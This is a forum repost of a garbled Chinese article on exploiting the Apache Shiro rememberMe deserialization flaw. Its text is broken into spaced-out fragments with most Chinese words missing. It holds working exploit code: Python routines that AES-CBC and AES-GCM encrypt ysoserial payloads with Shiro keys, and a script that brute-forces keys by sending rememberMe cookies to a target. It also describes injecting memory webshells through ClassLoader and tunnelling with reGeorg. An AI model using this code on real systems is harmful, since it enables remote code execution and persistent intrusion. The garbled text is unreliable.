[21432] 2020-11-22_深入利用Shiro反序列化漏洞

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-11-22_深入利用Shiro反序列化漏洞 S h i r o x x w   L e m o n S e c   2 0 2 0 - 1 1 - 2 2 S h i r o - S h i r o S h i r o H A C K 0 x 0 0 s h i r o R C E s h i r o j a v a   w e b 广 s h i r o p a y l o a d w a f 0 x 0 1 s h i r o s h i r o 1 . 2 . 4 s h i r o c o o k i e d e c r y p t d e c r y p t
c i p h e r S e r v i c e c i p h e r K e y g e t D e r y p t i o n C i p h e r K e y ( ) D E F A L U T   k e y C i p h e r S e r v i c e J c a C i p h e r S e r v i c e d e c r y p t i v c i p h e r t e x t 1 6 i v c i p h e r t e x t k e y p a y l o a d
k e y k e y k e y 1 . 4 . 2 s h i r o k e y g i t h u b C B C s h i r o p a y l o a d s h i r o p y t h o n a e s - c b c m o d e A E S - C B C k e y i v y s o s e r i a l g a d g e t p a y l o a d B S       =   A E S . b l o c k _ s i z e         p a d   =   l a m b d a   s :   s   +   ( ( B S   -   l e n ( s )   %   B S )   *   c h r ( B S   -   l e n ( s )   %   B S ) ) . e n c o d e ( )         m o d e   =     A E S . M O D E _ C B C         i v       =     u u i d . u u i d 4 ( ) . b y t e s         f i l e _ b o d y   =   p a d ( f i l e _ b o d y )         e n c r y p t o r   =   A E S . n e w ( b a s e 6 4 . b 6 4 d e c o d e ( k e y ) ,   m o d e ,   i v )         b a s e 6 4 _ c i p h e r t e x t   =   b a s e 6 4 . b 6 4 e n c o d e ( i v   +   e n c r y p t o r . e n c r y p t ( f i l e _ b o d y ) )         r e t u r n   b a s e 6 4 _ c i p h e r t e x t 0 x 0 2 1 . 4 . 2 p a d d i n g   o r a c l e s h i r o G C M G C M s h i r o 使 G C M
s h i r o , G C M p a d d i n g M A C t a g 0 x 0 3 k e y & & s h e l l s h i r o 1 . k e y i v   =   o s . u r a n d o m ( 1 6 )         c i p h e r   =   A E S . n e w ( b a s e 6 4 . b 6 4 d e c o d e ( k e y ) ,   A E S . M O D E _ G C M ,   i v )                             c i p h e r t e x t ,   t a g   =   c i p h e r . e n c r y p t _ a n d _ d i g e s t ( f i l e _ b o d y )           c i p h e r t e x t   =   c i p h e r t e x t   +   t a g               b a s e 6 4 _ c i p h e r t e x t   =   b a s e 6 4 . b 6 4 e n c o d e ( i v   +   c i p h e r t e x t )         r e t u r n   b a s e 6 4 _ c i p h e r t e x t
s h i r o k e y y s o s e r i a l u r l d n s 使 S i m P l e P r i n c p a l C o l l e c t i o n r e m e m b e r M e k e y r e m e m b e r M e = d e l e t e M e d e l e t e M e r e m e m b e r M e = d e l e t e M e 2 . : r 1   =   r e q u e s t s . g e t ( t a r g e t ,   c o o k i e s = { ' r e m e m b e r M e ' :   " 1 2 3 " } ,   t i m e o u t = 1 0 ,   p r o x i e s = P R O X Y ,                                                   v e r i f y = F a l s e ,   h e a d e r s = m y h e a d e r , a l l o w _ r e d i r e c t s = F a l s e )         r s p 1 = l e n ( s t r ( r 1 . h e a d e r s ) )   # r e m e m b e r M e               t r y :                 f o r   k e y   i n   k e y s :                         p r i n t ( " [ - ]   s t a r t   k e y :   { 0 } " . f o r m a t ( k e y ) )                         i f   c i p h e r t y p e   = =   ' C B C ' :                                 p a y l o a d   =   C B C C i p h e r ( k e y , b a s e 6 4 . b 6 4 d e c o d e ( c h e c k d a t a ) )                         i f   c i p h e r t y p e   = =   ' G C M ' :                                 p a y l o a d   =   G C M C i p h e r ( k e y , b a s e 6 4 . b 6 4 d e c o d e ( c h e c k d a t a ) )                         p a y l o a d   =   p a y l o a d . d e c o d e ( )                 # p r i n t ( p a y l o a d )                         r   =   r e q u e s t s . g e t ( t a r g e t ,   c o o k i e s = { ' r e m e m b e r M e ' :   p a y l o a d } ,   t i m e o u t = 1 0 ,   p r o x i e s = P R O X Y ,                                                   v e r i f y = F a l s e ,   h e a d e r s = m y h e a d e r , a l l o w _ r e d i r e c t s = F a l s e )     #                           r s p   =   l e n ( s t r ( r . h e a d e r s ) )                         i f   r s p 1   ! =   r s p   a n d   r . s t a t u s _ c o d e   ! =   4 0 0 :                         # h e a d e r l e n t h k e y                                 p r i n t ( " ! !   G e t   k e y :   { 0 } " . f o r m a t ( k e y ) )                                 e x i t ( )
l i n u x k i n g k k t o m c a t c 0 n y 1 f n m s d 穿 f n m s d t q l f n m s d c 0 n y 1 线 r e q u e s t r e s p o n s e f n m s d 5 2 5 2 1 0 0 . . . .   y s o s e r i a l c c p a y l o a d t o m a c t h e a d e r n g i n x n g i n x f n m s d h t t p s : / / b l o g . c s d n . n e t / f n m s d / a r t i c l e / d e t a i l s / 1 0 6 7 0 9 7 3 6 f n m s d   h t t p s : / / b l o g . c s d n . n e t / f n m s d / a r t i c l e / d e t a i l s / 1 0 6 8 9 0 2 4 2 p a y l o a d b u r p
3 . w e b s h e l l k i n g k k w e b s h e l l w e b s h e l l w e b s h e l l f i l t e r s p r i n g c o n t r o l l e r   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 8 8 8 6 ) f n m s d w e b s h e l l s h e l l ( ? ) r e G e o r g 西 t h r e e d r 3 a m t o m c a t   W e b s h e l l   s h i r o t o m c a t t o m c a t 6 s i h r o 蹿 y s o s e r i a l p a y l o a d p a y l o a d J a v a h t t p s : / / m p . w e i x i n . q q . c o m / s / 5 i Y y R G n l O E E I J m W 1 D q A e X w c o o k i e C l a s s L o a d e r C l a s s L o a d e r d e f i n e C l a s s b y t e P O S T f i l t e r p a y l o a d s t a t i c b y t e P O S T C l a s s L o a d e r s t a t i c p a y l o a d r e m e m b e r M e c l a s s l o a d e r p a y l o a d
b u r p c l a s s D a t a u r l r e G e r o g p a y l o a d 4 . w e b s h e l l w e b s h e l l p a g e C o n t e x t s p r i n g b o o t h t t p s : / / x z . a l i y u n . c o m / t / 7 8 9 9 w e b s h e l l 沿 c l a s s l o a d e r p a g e C o n t e x t w e b s h e l l   h t t p s : / / m p . w e i x i n . q q . c o m / s / r 4 c U 8 4 f A S j f l H r p - p E - y b g
d d d d h m 0 x 0 4 y s o s e r i a l h t t p s : / / g i t h u b . c o m / E c h o x 1 / S h i r o E x p l o i t j a v a z o n g j i e s h i r o 西 x x w 便 5 2 0 2 0 h w H W D N S
c t f -   - a n d r o i d L e m o n S e c
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则